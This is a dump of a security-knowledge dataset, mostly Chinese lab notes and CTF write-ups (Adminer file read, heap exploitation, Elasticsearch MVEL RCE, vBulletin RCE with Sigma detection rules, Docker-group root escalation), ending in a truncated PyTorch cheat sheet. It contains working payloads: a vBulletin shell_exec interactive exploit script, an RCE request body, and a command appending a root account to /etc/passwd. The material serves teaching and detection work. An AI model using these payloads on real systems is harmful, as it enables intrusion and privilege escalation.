text
stringlengths
100
9.93M
category
stringclasses
11 values
# Adminer远程文件读取(CVE-2021-43008) Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。 在其版本1.12.0到4.6.2之间存在一处因为MySQL LOAD DATA LOCAL导致的文件读取漏洞。 参考链接: - <https://github.com/p0dalirius/CVE-2021-43008-AdminerRead> - <http://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability> ## 漏洞环境 执行如下命令启动Web服务,其中包含Adminer 4.6.2: ``` docker compose up -d ``` 服务启动后,在`http://your-ip:8080`即可查看到Adminer的登录页面。 ## Exploit 使用[mysql-fake-server](https://github.com/4ra1n/mysql-fake-server)启动一个恶意的MySQL服务器。在Adminer登录页面中填写恶意服务地址和用户名`fileread_/etc/passwd`: ![](1.png) 可见,我们已经收到客户端连接,读取到的文件`/etc/passwd`已保存至当前目录: ![](2.png)
sec-knowleage
# Course Crawling Category: Misc., 250 points ## Description > The zip file is encrypted using a name of one of the courses in the Technion, see if you can crack it. The password format is `<course number>:<course name in english>` > > Note: Please try to crawl smartly and do not spam any site with request (we won't take any responsibility if you do so). A zip file was attached. ## Solution The easiest way to crawl the English Technion course names is using their official [search engine](https://students.technion.ac.il/local/technionsearch/search?lang=en). It is session-based, so we basically need to open it in a browser and just perform a simple search with the default parameters. This action redirects us to `https://students.technion.ac.il/local/technionsearch/results`, but if we grab the session ID and use it for a cURL request, we can access the same data via the command line. Each course name is included in a `div` such as: ```html <div class="d-flex w-100 justify-content-between"> <h6 class="mb-1" style="font-weight: bold;"> 14003 - Statistics | Winter 2021/22 </h6> <small> |Undergraduate Studies </small> </div> ``` After applying some bash magic, we can get the course list for each search page: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Course_Crawling] └─$ curl 'https://students.technion.ac.il/local/technionsearch/results?page=0' -X POST -H 'Cookie: MoodleSessionstudentsprod=jr4nar1q2md2a3a7tae043mqae' -s | grep "<h6" -A 1 | grep "|" | egrep -o '^[^|]+' | sed -e 's/^[[:space:]]*//' 14003 - Statistics 14004 - System Analysis 14005 - Engineering Laboratory 14006 - Introduction to Numerical Methods 14008 - Graphical and Engineering Information 14010 - Engineering For Developing Communities 14101 - Project in Structures 14103 - Intro.to Engineering Mechanics 14107 - Introduction to The Theory of Elasticity 14108 - Structural Analysis ``` Now we just need to loop for each search page result. From our search via the browser we can see that currently there are 440 result pages. ```bash #!/bin/bash output_file=course_list.txt echo "" > $output_file for i in {0..440} do echo -ne "$i\r" curl "https://students.technion.ac.il/local/technionsearch/results?page=$i" -X POST -H 'Cookie: MoodleSessionstudentsprod=jr4nar1q2md2a3a7tae043mqae' -s | grep "<h6" -A 1 | grep "|" | egrep -o '^[^|]+' | sed -e 's/^[[:space:]]*//' >> $output_file sleep 0.1 done head $output_file ``` Once we have all the course names and numbers, all that's left is to try them all: ```python from pwn import * import zipfile import zlib pwd_filename = "course_list.txt" zip_filename = "course_crawling.zip" with open(pwd_filename, "r") as passwords, log.progress("Brute forcing password") as p: zip_file = zipfile.ZipFile(zip_filename) for line in passwords: password = line.strip() course_number, course_name = password.split(" - ", maxsplit = 1) password = ":".join([course_number, course_name]) try: p.status(f"Trying {password}") zip_file.extractall(path="Output", pwd=bytes(password, 'utf-8')) log.success(f"Password Found: {password}") break except (RuntimeError, zlib.error): continue ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Course_Crawling] └─$ python3 solve.py [+] Brute forcing password: Done [+] Password Found: 324432:Psychology of Music ``` And the contents: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Course_Crawling] └─$ cat Output/course_crawling.txt cstechnion{waiting_for_a_course_on_CTFs} ```
sec-knowleage
# 态势感知相关书籍 [1] 网络安全态势感知:提取、理解和预测,杜嘉薇等,https://weread.qq.com/web/reader/41b32180717cc14141bc00e [2] 《数据驱动安全——数据安全分析、可视化和仪表盘》,Jay Jacobos,Bob Rudis
sec-knowleage
### 内核DoS攻击方式 对内核进行 DoS 攻击比较容易,我们可以通过以下几种方式来实现。 - 触发内核中的某个漏洞让内核崩溃 - 触发内核中的死锁 - 触发大量的内核内存泄漏,即存在大量的内存被申请但是没有被释放
sec-knowleage
# Leetcode 题解 ## 前言 本文从 Leetcode 中精选大概 200 左右的题目,去除了某些繁杂但是没有多少算法思想的题目,同时保留了面试中经常被问到的经典题目。 ## 算法思想 - [双指针](Leetcode%20题解%20-%20双指针.md) - [排序](Leetcode%20题解%20-%20排序.md) - [贪心思想](Leetcode%20题解%20-%20贪心思想.md) - [二分查找](Leetcode%20题解%20-%20二分查找.md) - [分治](Leetcode%20题解%20-%20分治.md) - [搜索](Leetcode%20题解%20-%20搜索.md) - [动态规划](Leetcode%20题解%20-%20动态规划.md) - [数学](Leetcode%20题解%20-%20数学.md) ## 数据结构相关 - [链表](Leetcode%20题解%20-%20链表.md) - [树](Leetcode%20题解%20-%20树.md) - [栈和队列](Leetcode%20题解%20-%20栈和队列.md) - [哈希表](Leetcode%20题解%20-%20哈希表.md) - [字符串](Leetcode%20题解%20-%20字符串.md) - [数组与矩阵](Leetcode%20题解%20-%20数组与矩阵.md) - [图](Leetcode%20题解%20-%20图.md) - [位运算](Leetcode%20题解%20-%20位运算.md) ## 参考资料 - Leetcode - Weiss M A, 冯舜玺. 数据结构与算法分析——C 语言描述[J]. 2004. - Sedgewick R. Algorithms[M]. Pearson Education India, 1988. - 何海涛, 软件工程师. 剑指 Offer: 名企面试官精讲典型编程题[M]. 电子工业出版社, 2014. - 《编程之美》小组. 编程之美[M]. 电子工业出版社, 2008. - 左程云. 程序员代码面试指南[M]. 电子工业出版社, 2015.
sec-knowleage
# ret2VDSO ## VDSO介绍 什么是VDSO(Virtual Dynamically-linked Shared Object)呢?听其名字,大概是虚拟动态链接共享对象,所以说它应该是虚拟的,与虚拟内存一致,在计算机中本身并不存在。具体来说,它是将内核态的调用映射到用户地址空间的库。那么它为什么会存在呢?这是因为有些系统调用经常被用户使用,这就会出现大量的用户态与内核态切换的开销。通过vdso,我们可以大量减少这样的开销,同时也可以使得我们的路径更好。这里路径更好指的是,我们不需要使用传统的int 0x80来进行系统调用,不同的处理器实现了不同的快速系统调用指令 - intel实现了sysenter,sysexit - amd实现了syscall,sysret 当不同的处理器架构实现了不同的指令时,自然就会出现兼容性问题,所以linux实现了vsyscall接口,在底层会根据具体的结构来进行具体操作。而vsyscall就实现在vdso中。 这里,我们顺便来看一下vdso,在Linux(kernel 2.6 or upper)中执行ldd /bin/sh, 会发现有个名字叫linux-vdso.so.1(老点的版本是linux-gate.so.1)的动态文件, 而系统中却找不到它, 它就是VDSO。 例如: ```shell ➜ ~ ldd /bin/sh linux-vdso.so.1 => (0x00007ffd8ebf2000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f84ff2f9000) /lib64/ld-linux-x86-64.so.2 (0x0000560cae6eb000) ``` 除了快速系统调用,glibc也提供了VDSO的支持, open(), read(), write(), gettimeofday()都可以直接使用VDSO中的实现。使得这些调用速度更快。 内核新特性在不影响glibc的情况下也可以更快的部署。 这里我们以intel的处理器为例,进行简单说明。 其中sysenter的参数传递方式与int 0x80一致,但是我们可能需要自己布置好 function prolog(32位为例) ```asm push ebp mov ebp,esp ``` 此外,如果我们没有提供functtion prolog的话,我们还需要一个可以进行栈迁移的gadgets,以便于可以改变栈的位置。 ## 原理 待补充。 ## 题目 - **Defcon 2015 Qualifier fuckup** ## 参考 - http://man7.org/linux/man-pages/man7/vdso.7.html - http://adam8157.info/blog/2011/10/linux-vdso/
sec-knowleage
# House of Rabbit ## 介绍 House of rabbit是一种伪造堆块的技术,早在2017年已经提出,但在最近两个月才在CTF比赛中出现。我们一般运用在fastbin attack中,因为unsorted bin等其它的bin有更好的利用手段。 ## 原理 我们知道,fastbin中会把相同的size的被释放的堆块用一个单向链表管理,分配的时候会检查size是否合理,如果不合理程序就会异常退出。而house of rabbit就利用了在malloc consolidate的时候fastbin中的堆块进行合并时size没有进行检查从而伪造一个假的堆块,为进一步的利用做准备。 由于原作者的[POC](https://github.com/shift-crops/House_of_Rabbit)需要的条件较多,这里我直接介绍这个攻击的本质即可。 `前提条件`: 1. 可以修改fastbin的fd指针或size 2. 可以触发malloc consolidate(merge top或malloc big chunk等等) 下面来看一下POC `POC 1`: modify the size of fastbin chunk ```cpp unsigned long* chunk1=malloc(0x40); //0x602000 unsigned long* chunk2=malloc(0x40); //0x602050 malloc(0x10); free(chunk1); free(chunk2); /* Heap layout 0000| 0x602000 --> 0x0 0008| 0x602008 --> 0x51 ('Q') 0016| 0x602010 --> 0x0 ..... 0080| 0x602050 --> 0x0 0088| 0x602058 --> 0x51 ('Q') 0096| 0x602060 --> 0x602000 --> 0x0 0104| 0x602068 --> 0x0 ...... 0160| 0x6020a0 --> 0x0 0168| 0x6020a8 --> 0x21 ('!') 0176| 0x6020b0 --> 0x0 0184| 0x6020b8 --> 0x0 */ chunk1[-1]=0xa1; //modify chunk1 size to be 0xa1 malloc(0x1000); //allocate a large chunk, trigger malloc consolidate /*Chunk1 overlap with chunk2 now gdb-peda$ telescope 0x602000 100 0000| 0x602000 --> 0x0 0008| 0x602008 --> 0xa1 0016| 0x602010 --> 0x7ffff7dd1c08 --> 0x7ffff7dd1bf8 --> 0x7ffff7dd1be8 --> 0x7ffff7dd1bd8 --> 0x7ffff7dd1bc8 (--> ...) 0024| 0x602018 --> 0x7ffff7dd1c08 --> 0x7ffff7dd1bf8 --> 0x7ffff7dd1be8 --> 0x7ffff7dd1bd8 --> 0x7ffff7dd1bc8 (--> ...) 0032| 0x602020 --> 0x0 ..... 0080| 0x602050 --> 0x0 0088| 0x602058 --> 0x51 ('Q') 0096| 0x602060 --> 0x7ffff7dd1bb8 --> 0x7ffff7dd1ba8 --> 0x7ffff7dd1b98 --> 0x7ffff7dd1b88 --> 0x7ffff7dd1b78 (--> ...) 0104| 0x602068 --> 0x7ffff7dd1bb8 --> 0x7ffff7dd1ba8 --> 0x7ffff7dd1b98 --> 0x7ffff7dd1b88 --> 0x7ffff7dd1b78 (--> ...) 0112| 0x602070 --> 0x0 0120| 0x602078 --> 0x0 .... 0152| 0x602098 --> 0x0 0160| 0x6020a0 --> 0xa0 0168| 0x6020a8 --> 0x20 (' ') gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 top: 0x603450 (size : 0x1fbb0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x050) smallbin[ 3]: 0x602050 (0x0a0) smallbin[ 8]: 0x602000 (overlap chunk with 0x602050(freed) ) */ ``` `POC 2`:modify FD pointer ```cpp unsigned long* chunk1=malloc(0x40); //0x602000 unsigned long* chunk2=malloc(0x100);//0x602050 chunk2[1]=0x31; //fake chunk size 0x30 chunk2[7]=0x21 //fake chunk's next chunk chunk2[11]=0x21 //fake chunk's next chunk's next chuck /* Heap laylout 0000| 0x602000 --> 0x0 0008| 0x602008 --> 0x51 ('Q') 0016| 0x602010 --> 0x0 ...... 0080| 0x602050 --> 0x0 0088| 0x602058 --> 0x111 0096| 0x602060 --> 0x0 0104| 0x602068 --> 0x31 ('1') 0112| 0x602070 --> 0x0 ...... 0144| 0x602090 --> 0x0 0152| 0x602098 --> 0x21 ('!') 0160| 0x6020a0 --> 0x0 0168| 0x6020a8 --> 0x0 0176| 0x6020b0 --> 0x0 0184| 0x6020b8 --> 0x21 ('!') 0192| 0x6020c0 --> 0x0 ...... 0352| 0x602160 --> 0x0 0360| 0x602168 --> 0x20ea1 */ free(chunk1); chuck1[0]=0x602060;// modify the fd of chunk1 /* gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x602000 --> 0x602060 (size error (0x30)) --> 0x0 */ malloc(5000);// malloc a big chunk to trigger malloc consolidate /* gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 top: 0x6034f0 (size : 0x1fb10) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x050) smallbin[ 3]: 0x602000 (0x030) smallbin[ 1]: 0x602060 */ ``` 原理很简单,就是通过修改fastbin chunk的size(如上面的POC 1所示)直接构造overlap chunk,或者修改fd(如面的POC 2所示),让它指向一个fake chunk,触发malloc consolidate之后让这个fake chunk成为一个合法的chunk。 ## 总结 House of rabbit的优点是容易构造overlap chunk,由于可以基于fastbin attack,甚至不需要leak就可以完成攻击。大家可以通过例题的练习加深对这个攻击的理解。 ## 例题 1. HITB-GSEC-XCTF 2018 mutepig 2. 待补充
sec-knowleage
# ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境 jre版本:openjdk:8-jre elasticsearch版本:v1.1.1 ## 原理 相关文档:http://bouk.co/blog/elasticsearch-rce/ 、 https://www.t00ls.net/viewthread.php?tid=29408 老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。 MVEL执行命令的代码如下: ```java import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next(); ``` ## 漏洞测试 编译及运行环境: ``` docker compose build docker compose up -d ``` 将Java代码放入json中: ```json { "size": 1, "query": { "filtered": { "query": { "match_all": { } } } }, "script_fields": { "command": { "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();" } } } ``` 首先,该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据: ``` POST /website/blog/ HTTP/1.1 Host: your-ip:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 25 { "name": "phithon" } ``` 然后,执行任意代码: ``` POST /_search?pretty HTTP/1.1 Host: your-ip:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 343 { "size": 1, "query": { "filtered": { "query": { "match_all": { } } } }, "script_fields": { "command": { "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();" } } } ``` 结果如图: ![](1.png)
sec-knowleage
# Xplico软件包描述 Xplico的目标是获取网络流量中的应用信息数据。例如,从pcap文件中,Xplico可以提取每个电子邮件(POP、IMAP和SMTP协议)、HTTP、VoIP呼叫(SIP、MGCP、H323)、FTP、TFTP等内容。 Xplico不是网络协议分析器。 [Xplico首页](http://www.xplico.org/)| [Kali Xplico资源](http://git.kali.org/gitweb/?p=packages/xplico.git;a=summary) - 作者:Gianluca Costa,Andre de Franceschi - 许可证:GPLv2 ## Xplico包含的工具 ### xplico - 网络取证分析工具(NFAT) ``` root@kali:~# xplico -h xplico v1.0.1 Internet Traffic Decoder (NFAT). See http://www.xplico.org for more information. Copyright 2007-2012 Gianluca Costa & Andrea de Franceschi and contributors. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. This product includes GeoLite data created by MaxMind, available from http://www.maxmind.com/. usage: xplico [-v] [-c <config_file>] [-h] [-g] [-l] [-i <prot>] -m <capute_module> -v 版本信息 -c 配置文件 -h 帮助信息 -i 协议信息 -g 显示协议的图形树 -l 在屏幕中打印所有日志 -m 捕获类型模块 注意:参数必须遵守这个顺序! ``` ## xplico用法示例 使用rltm模块(-m rltm)分析接口eth0(-i eth0)上的流量: ``` root@kali:~# xplico -m rltm -i eth0 xplico v1.0.1 Internet Traffic Decoder (NFAT). See http://www.xplico.org for more information. Copyright 2007-2012 Gianluca Costa & Andrea de Franceschi and contributors. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. This product includes GeoLite data created by MaxMind, available from http://www.maxmind.com/. Configuration file (/opt/xplico/cfg/xplico_cli.cfg) found! GeoLiteCity.dat found! pcapf: running: 0/0, subflow:0/0, tot pkt:1 pol: running: 0/0, subflow:0/0, tot pkt:0 eth: running: 0/0, subflow:0/0, tot pkt:1 pppoe: running: 0/0, subflow:0/0, tot pkt:0 ppp: running: 0/0, subflow:0/0, tot pkt:0 ip: running: 0/0, subflow:0/0, tot pkt:0 ``` 原文链接:[http://tools.kali.org/information-gathering/xplico](http://tools.kali.org/information-gathering/xplico)
sec-knowleage
import os, base64, time, random, string from Crypto.Cipher import AES from Crypto.Hash import * key = os.urandom(16) def pad(msg): pad_length = 16-len(msg)%16 return msg+chr(pad_length)*pad_length def unpad(msg): return msg[:-ord(msg[-1])] def encrypt(iv,msg): msg = pad(msg) cipher = AES.new(key,AES.MODE_CBC,iv) encrypted = cipher.encrypt(msg) return encrypted def decrypt(iv,msg): cipher = AES.new(key,AES.MODE_CBC,iv) decrypted = cipher.decrypt(msg) decrypted = unpad(decrypted) return decrypted def send_msg(msg): iv = '2jpmLoSsOlQrqyqE' encrypted = encrypt(iv,msg) msg = iv+encrypted msg = base64.b64encode(msg) print msg return def recv_msg(): msg = raw_input() try: msg = base64.b64decode(msg) assert len(msg)<500 decrypted = decrypt(msg[:16],msg[16:]) return decrypted except: print 'Error' exit(0) def proof_of_work(): proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(20)]) digest = SHA256.new(proof).hexdigest() print "SHA256(XXXX+%s) == %s" % (proof[4:],digest) x = raw_input('Give me XXXX:') if len(x)!=4 or SHA256.new(x+proof[4:]).hexdigest() != digest: exit(0) print "Done!" return if __name__ == '__main__': proof_of_work() with open('flag.txt') as f: flag = f.read().strip() assert flag.startswith('hitcon{') and flag.endswith('}') send_msg('Welcome!!') while True: try: msg = recv_msg().strip() if msg.startswith('exit-here'): exit(0) elif msg.startswith('get-flag'): send_msg(flag) elif msg.startswith('get-md5'): send_msg(MD5.new(msg[7:]).digest()) elif msg.startswith('get-time'): send_msg(str(time.time())) elif msg.startswith('get-sha1'): send_msg(SHA.new(msg[8:]).digest()) elif msg.startswith('get-sha256'): send_msg(SHA256.new(msg[10:]).digest()) elif msg.startswith('get-hmac'): send_msg(HMAC.new(msg[8:]).digest()) else: send_msg('command not found') except: exit(0)
sec-knowleage
# T1190-vBulletin5.X-RCE检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## CVE-2015-7808漏洞 vBulletin是用PHP编写的可定制的论坛程序套件。 vBulletin 5.1.4-5.1.9版本,某些内部API处理Ajax请求时,未验证其来源,这可使攻击者无需身份验证调用继承自vB_Api及/core/vb/api/下任意类的任意公共方法,其中decodeArguments()方法内的unserialize()函数存在安全漏洞,可使攻击者在‘$args’变量中注入精心构造的任意对象,远程执行php代码,获取服务器权限。 ### 影响版本 VBulletin 5.1.4 - 5.1.9 ### 测试案例 请参考: vBulletin5.X前台RCE分析(CVE-2015-7808) <https://xz.aliyun.com/t/6497> vBulletin 5 全版本远程代码执行漏洞分析 <https://www.anquanke.com/post/id/82870> ### 检测日志 访问日志 ### 测试复现 ```yml GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D HTTP/1.1 Host: 192.168.0.106 Cookie: XDEBUG_SESSION=PHPSTORM Connection: close ``` 解码后: ```yml GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:17:"vB_Database_MySQL":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:9:"phpinfo()";} HTTP/1.1 ``` ### 测试留痕 暂无 ### 检测规则/思路 sigma规则 ```yml title: vBulletin5.X-CVE-2015-7808-RCE-检测规则 description: 通过访问日志检测CVE-2015-7808远程命令执行漏洞利用行为 translator: 12306Bro date: 2020/12/16 status: experimental references: - https://xz.aliyun.com/t/6497 logsource: category: webserver detection: selection: c-uri: - '*/ajax/api/hook/decodeArguments?arguments=*' condition: selection fields: - c-ip - c-dns falsepositives: - Unknown level: critical ``` ## CVE-2019-16759 近期,vBulletin披露了一个最新的0 day漏洞细节,这个漏洞分配的CVE编号为CVE-2019-16759。与此同时,Unit 42的安全研究人员也在网上发现了有很多攻击者正在利用该漏洞来实施攻击。在该漏洞的帮助下,未经身份验证的攻击者将能够访问和控制运行了v5.0.0至v5.5.4版本vBulletin的服务器,并且阻止网络管理员访问这些服务器。目前,使用了vBulletin的网站数量大约有10万多个,其中包括很多大型企业、组织和论坛,因此该漏洞应当立刻被修复。 ### 影响范围 仅影响 vBulletin 5.x 版本 ### 测试记录 请参考: CVE-2019-16759漏洞在野利用 <https://www.anquanke.com/post/id/189470> CVE-2019-16759 vBulletin 5.x RCE 复现 <https://blog.csdn.net/weixin_41064688/article/details/108060313> CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞 <https://github.com/jas502n/CVE-2019-16759> ### 检测日志类型 访问日志 OR HTTP.log ### 测试复现过程 POC1 ```yml http://IP/?routestring=ajax%2Frender%2Fwidget_php&widgetConfig[code]=phpinfo();exit; ``` POC2:CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞 ```python import requests import sys if len(sys.argv) != 2: sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0]) proxies ={ "http":"http://127.0.0.1:8080/" } params = {"routestring":"ajax/render/widget_php"} while True: try: cmd = raw_input(">>>Shell= ") params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"');echo md5('vBulletin'); exit;" r = requests.post(url = sys.argv[1], data = params, proxies=proxies) if r.status_code == 200 or r.status_code ==403 and 'be4ea51d962be8308a0099ae1eb3ec63' in r.text: print print r.text.split('be4ea51d962be8308a0099ae1eb3ec63')[0] else: sys.exit("Exploit failed! :(") except KeyboardInterrupt: sys.exit("\nClosing shell...") except Exception, e: sys.exit(str(e)) ``` ### 测试痕迹 暂无,但可查看攻击报文样例辅助安全人员研判是否为攻击行为,较简单的场景。 <https://github.com/jas502n/CVE-2019-16759> ### 检测规则 sigma规则 ```yml title: vBulletin5.X-CVE-2015-7808-RCE-检测规则 description: 通过访问日志检测CVE-2015-7808远程命令执行漏洞利用行为 translator: 12306Bro date: 2020/12/16 status: experimental references: - https://github.com/jas502n/CVE-2019-16759 - https://blog.csdn.net/weixin_41064688/article/details/108060313 logsource: category: webserver detection: selection1: c-uri: - '*?routestring=ajax%2Frender%2Fwidget_php&widgetConfig*' #匹配此特征 selection2: body: - '*routestring=ajax/render/widget_php&widgetConfig[code]=die(@mid5(*))' #根据报文内容进行判断,多为post condition: selection1 or selection2 fields: - c-ip - c-dns falsepositives: - Unknown level: critical ``` ## 备注 在进行部分攻击日志分析时,遇到此漏洞特征,仅做记录。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> vBulletin5.X前台RCE分析(CVE-2015-7808) <https://xz.aliyun.com/t/6497> vBulletin 5 全版本远程代码执行漏洞分析 <https://www.anquanke.com/post/id/82870> CVE-2019-16759漏洞在野利用 <https://www.anquanke.com/post/id/189470> CVE-2019-16759 vBulletin 5.x RCE 复现 <https://blog.csdn.net/weixin_41064688/article/details/108060313> CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞 <https://github.com/jas502n/CVE-2019-16759>
sec-knowleage
--- title: Docker 用户组提权 --- <center><h1>Docker 用户组提权</h1><b>本文作者:一生热爱</b><br><br></center> --- ## 一、简介 Docker 运行的所有命令都是需要 sudo 来运行,那是因为 docker 需要 root 权限才能跑。 Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限。 ## 二、复现 如果一个服务器有一个普通的用户,并且这个用户加入了 docker 组,则这个用户已经是 root 了。 ### 1、方法一 #### 环境搭建 ```bash adduser test-d usermod -G docker test-d newgrp docker ``` <img width="800" src="/img/Snipaste_2022-07-07_21-05-45.png"><br> Docker 组内用户执行命令的时候会自动在所有命令前添加 sudo 因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面) #### 复现 默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。 Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。 ```bash docker run -v /:/hostOS -i -t chrisfosterelli/rootplease ``` <img width="800" src="/img/Snipaste_2022-07-07_21-06-19.png"><br> 参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS 这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。 ### 2、方法二 #### 环境搭建 ```bash adduser test-d usermod -G docker test-d newgrp docker ``` #### 复现 将 /etc/ 目录挂载进 Docker,查看 shadow 和 passwd ```bash docker run -v /etc/:/mnt -it alpine cd /mnt cat shadow ``` <img width="1000" src="/img/Snipaste_2022-07-07_21-07-00.png"><br> 这里已经获取到密码 hash,有两个办法进行权限提升,一是进行 hash 破解,二是添加一个特权账号,这里选择第二个方法。 ```bash openssl passwd -1 -salt test-docker ``` <img width="1000" src="/img/Snipaste_2022-07-07_21-07-24.png"><br> ```bash docker run -v /etc/:/mnt -it alpine cd /mnt echo 'test-docker:saltpasswd:0:0::/root:/bin/bash' >>passwd ``` <img width="800" src="/img/Snipaste_2022-07-07_21-07-57.png"><br> <img width="800" src="/img/Snipaste_2022-07-07_21-08-59.png"> <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年7月7日" } } </script>
sec-knowleage
--- title: PyTorch date: 2023-04-12 background: bg-[#ee4c2c] tags: - AI - Python categories: - Other intro: This is a quick reference list of cheat sheets for PyTorch. See also [PyTorch website](https://pytorch.org/) --- ## Imports { .cols-1 } ### General ``` import torch # root package from torch.utils.data import Dataset, DataLoader # dataset representation and loading ``` ### Neural Network API ``` import torch.autograd as autograd # computation graph from torch import Tensor # tensor node in the computation graph import torch.nn as nn # neural networks import torch.nn.functional as F # layers, activations and more import torch.optim as optim # optimizers e.g. gradient descent, ADAM, etc. from torch.jit import script, trace # hybrid frontend decorator and tracing jit ``` ### Torchscript and JIT ``` torch.jit.trace() # takes your module or function and an example # data input, and traces the computational steps # that the data encounters as it progresses through the model @script # decorator used to indicate data-dependent # control flow within the code being traced ``` ### ONNX ``` torch.onnx.export(model, dummy data, xxxx.proto) # exports an ONNX formatted # model using a trained model, dummy # data and the desired file name model = onnx.load("alexnet.proto") # load an ONNX model onnx.checker.check_model(model) # check that the model # IR is well formed onnx.helper.printable_graph(model.graph) # print a human readable # representation of the graph ``` ### Vision ``` from torchvision import datasets, models, transforms # vision datasets, # architectures & # transforms import torchvision.transforms as transforms # composable transforms ``` ### Distributed Training ``` import torch.distributed as dist # distributed communication from torch.multiprocessing import Process # memory sharing processes ``` ## Tensors { .cols-1 } ### Creation ``` x = torch.randn(*size) # tensor with independent N(0,1) entries x = torch.[ones|zeros](*size) # tensor with all 1's [or 0's] x = torch.tensor(L) # create tensor from [nested] list or ndarray L y = x.clone() # clone of x with torch.no_grad(): # code wrap that stops autograd from tracking tensor history requires_grad=True # arg, when set to True, tracks computation # history for future derivative calculations ``` ### Dimensionality ``` x.size() # return tuple-like object of dimensions x = torch.cat(tensor_seq, dim=0) # concatenates tensors along dim y = x.view(a,b,...) # reshapes x into size (a,b,...) y = x.view(-1,a) # reshapes x into size (b,a) for some b y = x.transpose(a,b) # swaps dimensions a and b y = x.permute(*dims) # permutes dimensions y = x.unsqueeze(dim) # tensor with added axis y = x.unsqueeze(dim=2) # (a,b,c) tensor -> (a,b,1,c) tensor y = x.squeeze() # removes all dimensions of size 1 (a,1,b,1) -> (a,b) y = x.squeeze(dim=1) # removes specified dimension of size 1 (a,1,b,1) -> (a,b,1) ``` ### Algebra ``` ret = A.mm(B) # matrix multiplication ret = A.mv(x) # matrix-vector multiplication x = x.t() # matrix transpose ``` ### GPU Usage ``` torch.cuda.is_available # check for cuda x = x.cuda() # move x's data from # CPU to GPU and return new object x = x.cpu() # move x's data from GPU to CPU # and return new object if not args.disable_cuda and torch.cuda.is_available(): # device agnostic code args.device = torch.device('cuda') # and modularity else: # args.device = torch.device('cpu') # net.to(device) # recursively convert their # parameters and buffers to # device specific tensors x = x.to(device) # copy your tensors to a device # (gpu, cpu) ``` ### 